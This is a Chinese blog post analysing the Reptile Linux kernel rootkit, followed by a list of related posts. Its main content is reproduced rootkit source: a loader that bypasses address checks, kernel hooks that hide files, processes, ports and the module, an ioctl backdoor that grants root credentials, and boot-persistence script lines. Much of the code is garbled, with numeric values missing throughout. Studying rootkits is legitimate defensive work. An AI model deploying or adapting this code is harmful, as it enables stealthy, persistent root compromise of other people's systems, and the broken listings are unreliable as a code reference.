简介

Reptile是github上一个很火的linux lkm rootkit,最近学习了一些linux rootkit的内容,在这里记录一下。

主要是分析reptile的实现

Reptile的使用

安装命令:

sudo ./setup.sh install

然后执行下面的命令

/reptile/reptile_cmd show

接着就可以看到/reptile目录下的一些东西了,这是项目安装在系统中的一些文件,在安装完成后,默认是隐藏的。具体的执行命令就不再这里赘述了

会出现下面这些程序

Reptile原理分析

Reptile使用了两个其他的项目

1、khook:一个内核钩子框架,具体分析可以看这里https://www.cnblogs.com/likaiming/p/10970543.html

2、kmatryoshka:一个动态的模块加载器

这里先分析一下kmatryoshka的实现

kmatryoshka

parasite_loader/main.c中的init_module函数是入口函数。encrypt目录下代表的都是加密相关部分。

整个loader是作为一个模块插入到内核中去的,这个模块的功能是加载用户空间的模块,使用的就是init_module函数的系统调用处理函数sys_init_module,它是一个导出函数,通过查找kallsyms得到该函数的地址,就可以使用。

首先看寻找sys_init_module的实现,使用的是kallsyms_on_each_symbol函数,传入一个寻找函数就可以从找到符号地址,实现使用的就是下面这两个函数,在data[0]放入要寻找的内容,data[1]放入结果。

static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
{
int i = ; while (!module && (((const char *)data[]))[i] == name[i]) {
if (!name[i++]) return !!(data[] = addr);
} return ;
} static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[] = { (unsigned long)name, };
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[];
}

然后在init_module函数中这样调用

sys_init_module = (void *)ksym_lookup_name("sys_init_module");

再获取到符号地址后,在传入parasite_blob,也就是目的模块的地址时,还需要thread_info结构中的addr_limit,这个是表示用户地址空间地址的最大值,在init_module函数中,会对地址做校验,使用的就是addr_limit,这里就会修改一下这个值,保证地址检查通过。

if (sys_init_module) {
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max(); while (*nullarg) nullarg++; user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg);
user_addr_max() = seg;
}

Reptile

回到Reptile,主目录下,parasite_loader就是上面讲到的项目,khook就是内核钩子的框架,sbin是用户态的一些程序,reptile_cmd等这些程序都使通过sbin下面的程序编译出来的,script下面的脚本是生成的一些脚本存放目录,下面的内容在安装完成后自动删除了。loader下面的程序也比较简单,主要的逻辑写在rep_mod中,下面主要说一下这个文件中各个函数的功能

主函数,khook_init用来初始化khook,magic_packet_hook_options则是netlink钩子,START在setup脚本中被设置成reptile_start,

static int __init reptile_init(void)
{
int ret;
char *argv[] = {START, NULL, NULL}; //创建工作线程
work_queue = create_workqueue(WORKQUEUE); ret = khook_init(); if (ret != )
goto out; magic_packet_hook_options.hook = (void *)magic_packet_hook;
magic_packet_hook_options.hooknum = ;
magic_packet_hook_options.pf = PF_INET;
magic_packet_hook_options.priority = NF_IP_PRI_FIRST; #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)
nf_register_net_hook(&init_net, &magic_packet_hook_options);
#else
nf_register_hook(&magic_packet_hook_options);
#endif exec(argv);
hide();
out:
return ret;
}
//不允许普通进程找到特殊进程
KHOOK(find_task_by_vpid);
struct task_struct *khook_find_task_by_vpid(pid_t vnr)
 
//特权进程的TIF_SYSCALL_AUDIT位要被取消,这个标志位在thread_info结构
KHOOK(audit_alloc);
static int khook_audit_alloc(struct task_struct *t)
 
//清理cred结构的时候清除特权进程标志位
KHOOK(exit_creds);
static void khook_exit_creds(struct task_struct *p)
 
//特权进程的子进程也需要有特权
KHOOK(copy_creds);
static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
 
//装载可执行文件的时候
KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);
static int khook_load_elf_binary(struct linux_binprm *bprm)
/*
用户空间读物UDP端口使用/proc/net/udp,这个文件的seq_ops的show操作是udp4_seq_show
隐藏udp端口
*/
KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *);
static int khook_udp4_seq_show(struct seq_file *seq, void *v)
/*
用户空间读物UDP端口使用/proc/net/tcp,这个文件的seq_ops的show操作是tcp4_seq_show
隐藏tcp端口
*/
KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);
static int khook_tcp4_seq_show(struct seq_file *seq, void *v)

netlink钩子

KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
int ret = ;
unsigned int pid;
struct control args;
struct sockaddr_in addr;
struct hidden_conn *hc; if (cmd == AUTH && arg == HTUA) {
if (control_flag) {
control_flag = ;
} else {
control_flag = ;
} goto out;
} if (control_flag && cmd == AUTH) {
if (copy_from_user(&args, (void *)arg, sizeof(args)))
goto out; switch (args.cmd) {
//0则更改隐藏或是显示
case :
if (hide_module) {
show();
hidden = ;
} else {
hide();
hidden = ;
}
break;
case ://根据pid设置进程的可见性
if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
goto out; if (is_invisible(pid))
flag_tasks(pid, );
else
flag_tasks(pid, ); break;
case :
if (file_tampering)
file_tampering = ;
else
file_tampering = ;
break;
case ://提权
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = ;
current->suid = ;
current->euid = ;
current->gid = ;
current->egid = ;
current->fsuid = ;
current->fsgid = ;
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
#else
commit_creds(prepare_kernel_cred());
#endif
break;
case ://增加隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc)
goto out; hc->addr = addr; list_add(&hc->list, &hidden_tcp_conn);
break;
case ://删除隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out; list_for_each_entry(hc, &hidden_tcp_conn, list)
{
if (addr.sin_port == hc->addr.sin_port &&
addr.sin_addr.s_addr ==
hc->addr.sin_addr.s_addr) {
list_del(&hc->list);
kfree(hc);
break;
}
}
break;
case ://增加隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc)
goto out; hc->addr = addr; list_add(&hc->list, &hidden_udp_conn);
break;
case ://删除隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out; list_for_each_entry(hc, &hidden_udp_conn, list)
{
if (addr.sin_port == hc->addr.sin_port &&
addr.sin_addr.s_addr ==
hc->addr.sin_addr.s_addr) {
list_del(&hc->list);
kfree(hc);
break;
}
}
break;
default:
goto origin;
} goto out;
} origin:
ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
out:
return ret;
}
//读操作钩子
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
static ssize_t khook_vfs_read(struct file *file, char __user *buf,
             size_t count, loff_t *pos)
/*
getdents流程中的一个操作
说到文件隐藏,我们不妨先看看文件遍历的实现, 也就是系统调用getdents / getdents64 ,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c ),我们可以看到如下调用层次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->这儿省略若干层次 -> struct dir_context 里的 actor ,也就是filldir
filldir 负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里
*/
filldir这些函数
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret;
} KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
} KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
} KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret;
} KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
} #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
}
#endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
#else
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
#endif
{
struct dentry *found = NULL;
if (!strstr(name->name, HIDE) || !hidden)
found = KHOOK_ORIGIN(__d_lookup, parent, name);
return found;
} KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
{
if (hidden) {
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
if (!(iter.task->flags & FLAG))
break; iter.tgid++;
}
} else {
iter = KHOOK_ORIGIN(next_tgid, ns, iter);
}
return iter;
}
//隐藏内容
int hide_content(void *arg, ssize_t size)
 
/*
写在<$TAG></$TAG>中间的内容
*/
//检查是否有需要隐藏的内容
int f_check(void *arg, ssize_t size)
 
//看这个进程是否被隐藏了,0表示被隐藏
int is_invisible(pid_t pid)
 
//set=0表示清楚特权,set=1表示设置特权,设置pid位
int flag_tasks(pid_t pid, int set)
 
//重新显示这个模块
void show(void)
 
//从全局module链表中删除本模块
void hide(void)
 

驻留

setup脚本中,有让模块在启动时被加载的设置

    if [ "$SYSTEM" == "debian" ] || [ "$SYSTEM" == "ubuntu" ]; then
echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
elif [ "$SYSTEM" == "redhat" ] || [ "$SYSTEM" == "centos" ] || [ "$SYSTEM" == "fedora" ]; then
echo -ne "#<$TAG>\nmodprobe $MODULE\n#</$TAG>" >> /etc/rc.modules && \
chmod +x /etc/rc.modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
#elif [ "$SYSTEM" == "arch" ]; then
# echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
fi
 
 
 
 
 

LKM rootkit:Reptile学习的更多相关文章

  1. linux lkm rootkit常用技巧

    简介 搜集一下linux lkm rootkit中常用的一些技巧 1.劫持系统调用 遍历地址空间 根据系统调用中的一些导出函数,比如sys_close的地址来寻找 unsigned long ** g ...

  2. 后门技术和Linux LKM Rootkit详解

    2010-01-15 10:32 chinaitlab chinaitlab 字号:T | T 在这篇文章里, 我们将看到各种不同的后门技术,特别是 Linux的可装载内核模块(LKM). 我们将会发 ...

  3. Rootkit Hunter Sourcecode Learning

    目录 . Rootkit Hunter Introduce() . Source Code Frame() . do_system_check_initialisation() . do_system ...

  4. Diamorphine rootkit的使用

    仅作LKM rootkit研究之用,滥用后果自负. 查看支持版本是否为2.6.x/3.x/4.x: uname -r 下载代码: git clone https://github.com/m0nad/ ...

  5. Intrusion Analysis Learning

    目录 . 入侵分析简介 . 基于日志的入侵分析技术 . 入侵分析CASE . 入侵分析CASE . 入侵分析CASE . 入侵分析CASE 1. 入侵分析简介 Windows 清除日志的方法 wmic ...

  6. BROOTKIT Pinciple、Code Analysis(undone)

    目录 . Rootkit相关知识 . BROOTKIT源码分析 . 关键技术点 . 防御策略 1. Rootkit相关知识 关于rootkit的相关其他知识,请参阅以下文章 http://www.cn ...

  7. Chkrootkit Sourcecode Learning

    目录 . Chkrootkit Introduce . Source Code Frame . chklastlog.c . chkwtmp.c . ifpromisc.c . chkproc.c . ...

  8. Android Security

    Android Security¶ 确认签名¶ Debug签名: $ jarsigner -verify -certs -verbose bin/TemplateGem.apk sm 2525 Sun ...

  9. 小谈android/Linux rootkit(基于LKM)

    最近又学习了一下,感觉还有好多东西不知道,以后积累多一点再从新写一个. 在android上捣鼓了一下linux的内核rootkit,虽然中途遇到了无数坑,至今也没有完全写完,打算先好好啃一段时间lin ...

随机推荐

  1. 关于hbase的数据迁移

    场景: 一套自己编译的Hbase集群 A 一套自己通过cloudera平台搭建的Hbase集群 B 注意:( 我的两套集群是同一个网段的) 方式1:通过快照方式进行数据迁移(不需要提前建表) 1):首 ...

  2. NSPredicate谓词的用法

    在IOS开发Cocoa框架中提供了一个功能强大的类NSPredicate,下面来讨论一下它的强大之处在哪...NSPredicate继承自NSObject,它有两个派生的子类• NSCompariso ...

  3. Java 标准 IO 流编程一览笔录( 下 )

    8.回推流:PushbackInputStream与PushbackReader PushbackInputStream/PushbackReader 用于解析InputStream/Reader内的 ...

  4. CPU分支预测器

    两篇结合就ok啦 1.https://www.jianshu.com/p/be389eeba589 2.https://blog.csdn.net/edonlii/article/details/87 ...

  5. bash脚本获取绝对路径的最后一个目录名称

    比如绝对路径是/root/autoHls/streamID 因为脚本里面想直接用这个streamID来推流 下面是方法 #!/bin/bash dir="/root/autoHls" ...

  6. WPF下如何去除WebBrowser的滚动条和捕获关闭事件

    方法一:适用于VS2008 1.在解决方案中添加“引用”     选择 COM 下的 Microsoft html object library 2.引入命名空间     using mshtml; ...

  7. vlc的流输出功能

    vlc的流输出功能 流输出功能,可以将vlc读取到的流,输出到文件或者通过网络发送,客户端可以使用http.rtp.rtsp等协议访问,还可以进行转码等操作. 参考http://wiki.videol ...

  8. idea忽略隐藏文件、文件夹的设置操作

    左上角setting 如果要忽略文件夹,则直接填写文件夹名字即可,例如:要忽略target文件夹[建议:尽量不要把target忽略,因为可能编译出问题排查,还需要查看target文件夹中的编译结果] ...

  9. Linux新增开放端口

    CentOS系统 开放端口的方法: 方法一:命令行方式               1. 开放端口命令: /sbin/iptables -I INPUT -p tcp --dport 8080 -j ...

  10. [windows] install cross-env with cnpm instead of yarn or npm

    环境是 windows下通过vagrant运行虚拟机(ubuntu) Host:windows 10 Guest: ubuntu(vagrant) 根据之前的经验,不要在 Guest环境中执行npm ...